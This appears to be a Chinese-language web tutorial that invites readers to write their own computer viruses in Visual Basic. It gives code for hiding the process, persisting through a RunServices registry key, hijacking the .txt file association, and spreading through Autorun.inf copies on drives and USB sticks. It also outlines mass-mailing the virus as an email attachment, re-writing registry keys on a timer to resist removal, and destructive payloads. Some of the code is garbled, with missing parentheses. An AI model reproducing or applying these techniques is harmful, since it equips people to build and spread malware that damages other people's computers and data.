電腦病毒製作方法
朋友們想做一些小的電腦病毒嗎,對於接觸計算機的朋友們來說,病毒已經不在是一個陌生的東西。 下面由小編給你對電腦病毒做出詳細的製作方法!希望對你有幫助!
方法如下:
病毒一般都具有傳播、隱 藏、破壞等能力。所以自從第一個病毒問世以來,它便被人們視為一種神祕的東西。但是,我們要知道。病毒也是程式,也是由人寫出來的。所以,病毒並不是什麼 高不可攀的東西。現在,讓我們瞭解一下VB製作病毒的原理。
首先,病毒是有隱藏性的。如何來實現病毒的隱藏是很多年來的熱點話題。我們先不接觸什麼執行緒插入技術。我們要實行自我隱藏,就要用到API函式。其程式碼如下:
Public Declare Function GetCurrentProcessid Lib "kernel32" As Long
Public Declare Function RegisterServiceProcess Lib "kernel32" ByVal dwProcessID As Long, ByVal dwType As Long
Public Const RSP_SIMPLE_SERVICE = 1
Public Const RSP_UNREGISTER_SERVICE = 0
Public Sub MakeMeService
Dim pid As Long
Dim resery As Long
pid = GetCurrentProcessid
regserv = RegisterServiceProcesspid, RSP_SIMPLE_SERVICE
End Sub
這樣就實現了自我隱藏。還有別的什麼App.Title = ""和App.TaskVisible = False都可以用於VB病毒的隱藏。
病毒光會隱藏還不行,還要有常駐記憶體的能力。說通俗點,計算機關閉病毒也就跟著死去,而計算機重啟,病毒也要跟這復活。所以,我們接下來的任務就是:實現病毒的開機自啟。
瞭解病毒的朋友會知道,病毒一般是利用在登錄檔中插入相應鍵值來實現開機自啟的。所以,我們就要利用程式設計來實現著一功能。讀寫登錄檔要用到API函式,程式碼:
Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long As Long
Private Declare Function RegCloseKey Lib "advapi32.dll" ByVal hKey As Long As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" ByVal hKey As Long, ByVal lpvalueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long As Long
上述是API宣告。病毒的開機自啟就是在RUN下建立一個啟動項,程式碼:
Dim hKey As Long
Dim cc
Let cc = Len"病毒的絕對路徑"
RegCreateKey HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Runservices", hKey
RegSetValueEx hKey, "鍵名", 0, REG_SZ, ByVal "病毒的絕對路徑", cc
RegCloseKey hKey
以上程式碼執行後會在登錄檔中加入一個病毒的啟動項。
光利用開機自啟來長駐記憶體也太容易被殺了。所以,我們還要想盡一切辦法來讓病毒啟動。這裡介紹的2種辦法。
第一種。修改文字檔案的關聯。其程式碼如下:
API宣告:
Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long As Long
Private Declare Function RegSetValue Lib "advapi32.dll" Alias "RegSetValueA" ByVal hKey As Long, ByVal lpSubKey As String, ByVal dwType As Long, ByVal lpData As String, ByVal cbData As Long As Long
Const HKEY_CLASSES_ROOT = &H80000000
Const REG_SZ = 1
實現程式碼:
Dim sKeyName As String '儲存鍵名
Dim sKeyValue As String '儲存鍵值
Dim MyReturn As Long '儲存返回值資訊
Dim keyhandle As Long
sKeyName = "Test"
sKeyValue = "Test Application"
MyReturn& = RegCreateKey&HKEY_CLASSES_ROOT, sKeyName, keyhandle&
MyReturn& = RegSetValue&keyhandle&, "", REG_SZ, sKeyValue, 0&
MsgBox MyReturn&
sKeyName = ".txt" '要建立關聯的檔案字尾名
sKeyValue = "Test"
MyReturn& = RegCreateKey&HKEY_CLASSES_ROOT, sKeyName, keyhandle&
MyReturn& = RegSetValue&keyhandle&, "", REG_SZ, sKeyValue, 0&
sKeyName = "Test"
sKeyValue = "D:\\病毒.exe %1" '自己程式的位置和名稱
MyReturn& = RegCreateKey&HKEY_CLASSES_ROOT, sKeyName, keyhandle&
MyReturn& = RegSetValue&keyhandle&, "shell\open\command", REG_SZ, sKeyValue, MAX_PATH
End Sub
以上是利用修改TXT檔案關聯來實現病毒啟動的。
第二種,利用Autorun.inf
光碟就是利用這個來自動播放的,所以我就不廢話了。
實現程式碼:
If Dir"F:\" <> "" Then Let a = App.Path + "\" + App.EXEName + ".exe"
FileCopy a, "C:\病毒.exe"
Open "Autorun.inf" For Output As #1
Print #1, "[autorun]"
Print #1, "OPEN=病毒.exe"
Close #1
這樣就實現了雙擊C盤啟動病毒的作用。
下面說一下病毒的傳播,病毒的傳播可以說是八仙過海。主要的傳播方式就是電子郵件傳播,遠端溢位等。
遠端溢位這裡不做詳解。第一是我不太熟練,只會用,不會說。第二是要講清楚很麻煩。所以,我講一下電子郵件傳播。
首先,建立一個WINSOCKE。然後利用程式設計來實現。這裡只說思路。
ConnectToServer Server, Winsock1 ‘這是向伺服器建立連線
SendMail FromAddress, ToAddress, Subject, Body, Winsock1, Attach ‘傳送郵件
FromAddress 發件人地址
ToAddress 收件人地址
Subject 郵件標題
Body 郵件內容
Attach 附件地址
利用這樣的原理來群發,可以達到傳播自己的目的。
還有一種就是U盤/A盤傳播,原理上面已經說過。利用Autorun.inf檔案,這裡就不廢話了。
說了這麼多,還剩最後一點,那就是破壞性。這個就不詳細闡述。什麼自動關機,無限增殖。大家自己發揮想象,這不是很難的事。
最後總結,一個什麼樣的病毒,它必須生活在特定的作業系統下。所以,病毒做出來後,不一定能在什麼作業系統下都能用。還有一點,病毒必須能自己保護自己。 這裡推薦使用TIMER。利用這個部件來不斷的寫登錄檔。這樣,很難刪掉病毒的啟動鍵值。還要保護自身的增殖檔案。比如:
Let a = App.Path + "\" + App.EXEName + ".exe"
If Dir"C:\Program Files\病毒.exe" <> "" Then
Else: FileCopy a, "C:\Program Files\病毒.exe"
最後,還有最重要的一點。那就是容錯語句。儘量多加。以防萬一。
此文電腦病毒製作的人還: